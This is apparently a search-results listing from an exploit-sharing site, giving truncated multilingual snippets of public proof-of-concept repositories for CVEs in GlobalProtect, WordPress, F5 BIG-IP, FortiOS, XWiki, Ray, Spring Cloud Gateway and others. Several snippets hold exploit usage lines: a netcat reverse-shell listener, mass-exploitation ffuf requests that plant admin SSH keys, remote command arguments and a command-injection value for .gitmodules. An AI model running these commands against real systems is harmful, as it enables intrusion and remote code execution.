479198 matches found
CVE-2024-3400
CVE-2024-3400: OS-Befehlsinjektions-Schwachstelle im GlobalProtect Gateway Schweregrad: KRITISCH 10/10 ⚠️...
PhaseHack
PhaseHack Anmeldeinformationen des Phase-Botnets per Blind-SQL-Injection abrufen...
CVE-2024-27956
🚨POC VERÖFFENTLICHT🚨PoC für SQL Injection führt zu RCE in Wordpress veröffentlicht CVE-2024-27956. WordPress Admin-Kontoerstellung und Reverse Shell cve-2024-27956 Verwendung - sudo python3 cve.py...
CVE-2026-36826
CVE-2026-36826: SQL-Injection in genesisQL = 1.1.1 Zusammenfassung genesisQL 1.1.1 ist anfällig für SQL-Injection in der checkPassword-Funktion. Die vom Benutzer bereitgestellten Felder username und password werden direkt in den SQL-Abfragestring interpoliert, ohne Parametrisierung, was eine nich...
CVE-2021-21315-PoC
CVE-2021-21315-systeminformation Dies ist ein Proof of Concept für CVE-2021-21315, das die Systeminformation-Bibliothek für Node.JS npm-Paket "systeminformation" betrifft. npmjs.com/systeminformation "Stellen Sie sicher, dass Sie Dienstparameter, die an si.inetLatency, si.inetChecksite,...
CVE-2022-22947
CVE-2022-22947 poc: pocsuite -r CVE-2022-22947POCEXP.py -u url --verify exp: pocsuite -r CVE-2022-22947POCEXP.py -u url --attack --command "command" Dichiarazione di non responsabilità Questo strumento è destinato solo a studio, ricerca e auto-verifica. Non dovrebbe essere utilizzato per scopi...
cve-2025-24893
CVE-2025-24893 - PoC di Exploit RCE non autenticata in XWiki ⚠️ Esecuzione remota di codice non autenticata in XWiki 🛠️ Implementazione del PoC di @dollarboysushil 💡 Panoramica CVE-2025-24893 è una vulnerabilità RCE critica in XWiki, causata dalla gestione non sicura delle espressioni Groovy...
CVE-2022-1388
CVE-2022-1388 Verifica ed exploit per CVE-2022-1388 Installazione: root@kitploit: python3 -m pip install -r requirements.txt Utilizzo Singolo : root@kitploit: python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id...
CVE-2022-40684-POC
CVE-2022-40684-POC FortiProxy / FortiOS bypass dell'autenticazione Sfruttamento di massa /api/v2/cmdb/system/admin/ "ssh-public-key1": "" root@kitploit: ffuf -c -w hosts.txt -u FUZZ/api/v2/cmdb/system/admin/admin -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H...
CVE-2022-28368
CVE-2022-28368 - Dompdf RCE Exploit PoC di Dompdf RCE testo alternativo ExploitDB Le versioni di Dompdf 1.2.1 sono vulnerabili all'esecuzione di codice remoto RCE tramite l'iniezione di CSS nei dati. Il file può essere indotto a memorizzare un font dannoso con estensione .php nella sua cache dei...
CVE-2022-0944
CVE-2022-0944 SQLPad - Iniezione di template Questa è una vulnerabilità blind, il che significa che l'output viene restituito direttamente nella risposta. Exploit Usa lo script con il seguente comando: python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin...
SharpProxyLogon
SharpProxyLogon C POC per la ProxyLogon RCE concatenata root@kitploit: / \ | / \ / / \ | ' \ / | '| ' \ / // '/ \ / / | | |/ / / \ / |/ | ' \ \ \ | | | | | | | | / /| | | Usage x64 injection: SharpProxyLogon.exe L'iniezione di shellcode utilizza lo stub TikiTorch integrato di @Rastamouse, che...
Log4Shell-CVE-2021-44228-Demo
CVE-2021–44228 Demo 1. Introduzione a CVE-2021–44228 Alla fine del 2021, la notizia più importante nel mondo della sicurezza informatica è stata la vulnerabilità di Log4j, identificata come CVE-2021-44228 e nota anche come Log4Shell. Nel sistema di valutazione delle vulnerabilità CVSS è stata...
CVE-2023-6019
حقن أوامر Ray OS RCE غير مصرح به الاستخدام: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...
CVE-2018-12533
Gerador de payload RF-14310 / CVE-2018-12533 Baseado na pesquisa de Lucifaer Todos os créditos vão para https://github.com/Lucifaer Referências https://access.redhat.com/security/cve/cve-2018-12533 richfaces-jboss-poc Prova de conceito fácil de implantar para praticar a exploração de...
spring_cloud_gateway_memshell
CVE-2022-22947 memshell Dieses Skript ist nicht perfekt, nur für Lernzwecke, nicht für illegale Nutzung. Basiert auf dem Blog von c0ny1 einem großen Meister, ein Lernskript, das Netty- und Spring-Memory-Shells injizieren kann. Testumgebung ist vulhub root@kitploit: eg:xx.py http://127.0.0.1:8080...
CVE-2021-35042
CVE-2021-35042 SQL-Injection über unsanitisierte Eingaben in QuerySet.orderby Einrichtung: Führe ./setup.sh für die Ersteinrichtung aus. Öffne das Docker-Image, um die Datenbank zu initialisieren: docker exec -it containerid /bin/bash Und führe die folgenden Befehle aus: root@kitploit: python...
CVE-2023-51385_test
Verificação do CVE-2023-51385 Primeiro, é necessário adicionar o seguinte conteúdo em /.ssh/config root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Existe injeção de comando na declaração do arquivo .gitmodules root@kitploit: url = ssh://echo helloworld...
